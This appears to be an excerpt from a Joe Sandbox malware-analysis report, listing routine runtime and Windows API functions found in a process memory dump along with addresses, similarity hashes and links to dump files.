LCMapStringEx, xrefs: 00007FF6FE0A9C10, 00007FF6FE0A9C21

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: String$try_get_function
String ID: LCMapStringEx
API String ID: 1203122356-3893581201
Opcode ID: fe23b64af8606f0a3c58e90187f372446aa5f227ab9bf59dc9e7446795e0f6b7
Instruction ID: b3a541c473176c8fafab018ea3948e44824417c59caf673506351939eb75a334
Opcode Fuzzy Hash: fe23b64af8606f0a3c58e90187f372446aa5f227ab9bf59dc9e7446795e0f6b7
Instruction Fuzzy Hash: 1D112F35708B8186D760CB55F48029AB7A0F7D9B90F544136EA9D83B59DF3CD4508B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FDFF6950 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExA.KERNELBASE(?,?,?,?,?,?,00007FF6FDFDA559), ref: 00007FF6FDFF696F
GetProcAddressForCaller.KERNELBASE ref: 00007FF6FDFF6992

Strings

advapi32.dll, xrefs: 00007FF6FDFF6968
SystemFunction036, xrefs: 00007FF6FDFF6986

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: AddressCallerLibraryLoadProc
String ID: SystemFunction036$advapi32.dll
API String ID: 4215043672-1354007664
Opcode ID: 30b2f73f96f1acc817fbc38871702d57f699fdefbd6e4a561c2ccd7f055b506f
Instruction ID: 7aa796dc2e0398b2d4c3aeed76692f1ac2d2ba812a4f57b062a8cece45676dfd
Opcode Fuzzy Hash: 30b2f73f96f1acc817fbc38871702d57f699fdefbd6e4a561c2ccd7f055b506f
Instruction Fuzzy Hash: F7113C22E1EA4381EB609B10E89473627A4FBD03A4F500231E9AEC32D8FF7CE464C650

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE05F000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00007FF6FE05EDD3), ref: 00007FF6FE05F013
LoadLibraryExA.KERNELBASE(?,?,?,?,?,?,00007FF6FE05EDD3), ref: 00007FF6FE05F034
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FE0217E7), ref: 00007FF6FE05F061

Part of subcall function 00007FF6FE05EE80: GetLastError.KERNEL32 ref: 00007FF6FE05EE96
Part of subcall function 00007FF6FE05EE80: FormatMessageA.KERNEL32 ref: 00007FF6FE05EECA

Strings

cannot load module '%s': %s, xrefs: 00007FF6FE05F04C

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: ErrorLast$FormatLibraryLoadMessage
String ID: cannot load module '%s': %s
API String ID: 3853237079-2554058836
Opcode ID: df188ce702c3eb17da8a1c255447b51e67c1ee2f39d31328e8d2608fad6f4809
Instruction ID: 1a19da78692ec3c980ec3a6c3c530f79ba538eb7f6b7847e08248d52b6cb69ce
Opcode Fuzzy Hash: df188ce702c3eb17da8a1c255447b51e67c1ee2f39d31328e8d2608fad6f4809
Instruction Fuzzy Hash: A8F01932A18B8182D710DB59F84021ABB70FBD97D4F600136FA9D83A78EF3CD5A48B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE07D4E4 Relevance: 6.1, APIs: 4, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF6FE07D4F3

Part of subcall function 00007FF6FE07D6A8: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6FE07D6CA

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6FE07D508
__scrt_release_startup_lock.LIBCMT ref: 00007FF6FE07D576
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6FE07D5C9

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 8f06a7c1d25b1d9d4209a0557e7fbf7031a6169d9c2e25739453ee5eb69d5cde
Instruction ID: 0adc8ac71d415f65334fa72b99fa6d4d02409668de8080936a37b4e7c4cfdd32
Opcode Fuzzy Hash: 8f06a7c1d25b1d9d4209a0557e7fbf7031a6169d9c2e25739453ee5eb69d5cde
Instruction Fuzzy Hash: 35314F21E1D24346FB54AB6494113B92FA1AFE2748F444639F96ECB6D7FE2CF8248210

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FDFF8C90 Relevance: 6.1, APIs: 4, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF6FDFF8C9E
VirtualQuery.KERNEL32 ref: 00007FF6FDFF8CCE
SetLastError.KERNEL32 ref: 00007FF6FDFF8D69

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: ErrorLast$QueryVirtual
String ID:
API String ID: 3696288210-0
Opcode ID: f4a39bd2c8b4e77c2adc7d5054eb46406d13928e6223299f2622db2b8216fcc4
Instruction ID: f85ef0f291588ccaa54987cf1962206befa4a3bb096067e95ee25e35f72a66cb
Opcode Fuzzy Hash: f4a39bd2c8b4e77c2adc7d5054eb46406d13928e6223299f2622db2b8216fcc4
Instruction Fuzzy Hash: 8821C06161EE4581EB608B19E44062D67A4FB987E4F600335EAAD837F4FF3CE550DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FDFEFD90 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FF6FDFF00FB
, xrefs: 00007FF6FDFF01C5

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 9843a88858d80629a5392dfe685009a7de1f426911982b70ac98bb5915318121
Instruction ID: a5e36c477c0874608e553ff2bb0a9472b2898ecbf2a16284b35571f143570022
Opcode Fuzzy Hash: 9843a88858d80629a5392dfe685009a7de1f426911982b70ac98bb5915318121
Instruction Fuzzy Hash: B202D026619B8585DB708B19D48076EB7A0F7C9BB4F504722EABD877E5EE3CE4408B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FDFE30A0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF6FDFE30B9
SetLastError.KERNEL32 ref: 00007FF6FDFE329E

Part of subcall function 00007FF6FDFF40A0: GetLastError.KERNEL32 ref: 00007FF6FDFF40B9
Part of subcall function 00007FF6FDFF40A0: SetLastError.KERNEL32 ref: 00007FF6FDFF4166

Strings

\, xrefs: 00007FF6FDFE327E

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: ErrorLast
String ID: \
API String ID: 1452528299-2967466578
Opcode ID: 888c02a4af715df60f1a7dd258da0cc1fa8a9f94b01bbf0f875320e646443852
Instruction ID: 79dd73cb0ffd90cd1062c7095854f82a7d250a4035e6fb3834d602c1a49df6d0
Opcode Fuzzy Hash: 888c02a4af715df60f1a7dd258da0cc1fa8a9f94b01bbf0f875320e646443852
Instruction Fuzzy Hash: 1D51EC32A19B8587DB50DB19E484629B7F0F789BA5F100235EAAD877E8EF3CD441CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE09AD1C Relevance: 4.5, APIs: 3, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6FE09AD1B), ref: 00007FF6FE09AD45
TerminateProcess.KERNEL32(?,?,?,00007FF6FE09AD1B), ref: 00007FF6FE09AD50
ExitProcess.KERNEL32 ref: 00007FF6FE09AD5F

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 5d4d62a54e9c46130ac50dd2ca8ebd46fd0b951107292fc29c74b2f9e1b698cf
Instruction ID: af88eaae56ebb20a808d5e2fa46fdbd4d349826d280dfdf11c49a0c231b30de8
Opcode Fuzzy Hash: 5d4d62a54e9c46130ac50dd2ca8ebd46fd0b951107292fc29c74b2f9e1b698cf
Instruction Fuzzy Hash: 63E04820F0430542EB145B75989537D3A72AFE5741F14943AE86F833DAED3DE4688311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FDFF8BB0 Relevance: 3.8, APIs: 3, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF6FDFF8BB9
VirtualAlloc.KERNELBASE ref: 00007FF6FDFF8BD6
SetLastError.KERNEL32 ref: 00007FF6FDFF8BE5

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: ErrorLast$AllocVirtual
String ID:
API String ID: 1225938287-0
Opcode ID: 0a31b1735084f54a03591de20996a30d0408d625ad59090563f2f3174e9d2cb5
Instruction ID: e24120b3956eeca91131f5c7e16191c21635d9ebaff2f640cf595a924c26133c
Opcode Fuzzy Hash: 0a31b1735084f54a03591de20996a30d0408d625ad59090563f2f3174e9d2cb5
Instruction Fuzzy Hash: 83F01D71629B8182D7209B58E44471A7B71F7887B4F500325E6BE42BE8DF3CD154CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FDFF8C20 Relevance: 3.8, APIs: 3, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF6FDFF8E9E), ref: 00007FF6FDFF8C29
VirtualAlloc.KERNELBASE(?,?,?,?,?,?,?,?,00007FF6FDFF8E9E), ref: 00007FF6FDFF8C46
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF6FDFF8E9E), ref: 00007FF6FDFF8C55

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: ErrorLast$AllocVirtual
String ID:
API String ID: 1225938287-0
Opcode ID: 6f5d66f4205355a488102a5330247b632e870741214089924bbcf7827210fdc4
Instruction ID: c7ecf4391947c18796ca4222728d88431a9f541d734e6f248f8d0597e5a31d05
Opcode Fuzzy Hash: 6f5d66f4205355a488102a5330247b632e870741214089924bbcf7827210fdc4
Instruction Fuzzy Hash: A1F01D71629B8186D7209B18E44471ABB71F7887B4F500325F6BE42BE8DF7CD154CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FDFEB7A0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 128
stringCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strrchr.LIBCMTD ref: 00007FF6FDFEB9BA

Strings

, xrefs: 00007FF6FDFEB958

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: strrchr
String ID:
API String ID: 3418686817-3916222277
Opcode ID: 4e961bf43056450b91defcd618916dda4355ce4e6050535bdf05ac30be3a137a
Instruction ID: 1216a1dacf10a6243ea0b892b72178d8b53d057f40daf4a4bd321ab12dd3c603
Opcode Fuzzy Hash: 4e961bf43056450b91defcd618916dda4355ce4e6050535bdf05ac30be3a137a
Instruction Fuzzy Hash: EC51BA3661968586DB50CB19E08072EB7B0F7C9B94F505126FB9E87BA8EF3DD4418F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FDFD5D60 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcsupr_s.LIBCMTD ref: 00007FF6FDFD5DCF

Strings

arg, xrefs: 00007FF6FDFD5DEB

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: _wcsupr_s
String ID: arg
API String ID: 600324503-2022414218
Opcode ID: 35be564464d6c4820efd0d8c7376e547ad19c939cfcdb2e341138f1cc7ef3ed0
Instruction ID: 00611b877f3c67a4b2cec0059f3e6572b70c3016ef93905061a9fa388643ac21
Opcode Fuzzy Hash: 35be564464d6c4820efd0d8c7376e547ad19c939cfcdb2e341138f1cc7ef3ed0
Instruction Fuzzy Hash: 9D313D3160964186D720EB29E44166A73A1FBC97A4F504231FAADC77E9FF3CE9018F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE0A9550 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF6FE0A9573

Strings

AppPolicyGetProcessTerminationMethod, xrefs: 00007FF6FE0A9559, 00007FF6FE0A956C

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: try_get_function
String ID: AppPolicyGetProcessTerminationMethod
API String ID: 2742660187-2031265017
Opcode ID: 4833c0902515f3c114d76ba3d1c7fa11a93093573dd0661da56e0bda8c04332a
Instruction ID: c036be58192047c933e59a26f5bfae2a90169891320936301acf70ab64c76461
Opcode Fuzzy Hash: 4833c0902515f3c114d76ba3d1c7fa11a93093573dd0661da56e0bda8c04332a
Instruction Fuzzy Hash: A8E04F92F0860AA1FF0447E9E8811B41621AFF8770E884331F93C8A3E0AE2C99A5C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE09B120 Relevance: 3.2, APIs: 2, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE09B15C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE09B259

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 23f93f3439cf481d68ace413158a8b6a052188d27ba90543d8d527b73a2b783b
Instruction ID: 260f25653a9f71b1d7b352f15105ecffe3179d42bc16da550b397c066d68e960
Opcode Fuzzy Hash: 23f93f3439cf481d68ace413158a8b6a052188d27ba90543d8d527b73a2b783b
Instruction Fuzzy Hash: 4D51D621B0924A85F7689E26980167E6E91FFE4BB4F444230FD7C877DDEE3CE4618A04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE0AD5D8 Relevance: 3.1, APIs: 2, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF6FE0AD50B,?,?,00000000,00007FF6FE0AD5B3,?,?,?,?,?,?,00007FF6FE09AF6A), ref: 00007FF6FE0AD63E
GetLastError.KERNEL32(?,?,?,00007FF6FE0AD50B,?,?,00000000,00007FF6FE0AD5B3,?,?,?,?,?,?,00007FF6FE09AF6A), ref: 00007FF6FE0AD648

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: 342de704302773eeb4f8a3e9181b51dc3d1ebcbc1097d58ab930e3d4315a225c
Instruction ID: bfecb26525c51aa14bc7e99a15110adf160fe0ea80c242a717ff1e22e7d638ab
Opcode Fuzzy Hash: 342de704302773eeb4f8a3e9181b51dc3d1ebcbc1097d58ab930e3d4315a225c
Instruction Fuzzy Hash: BA118411F0964701EF945774D49037D2E92AFE4BA8F180335FA3EC72D6EE6CA4648600

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE07D400 Relevance: 3.1, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

_set_fmode.LIBCMT ref: 00007FF6FE07D417
_RTC_Initialize.LIBCMT ref: 00007FF6FE07D438

Part of subcall function 00007FF6FE0A5F54: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE0A5F86

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

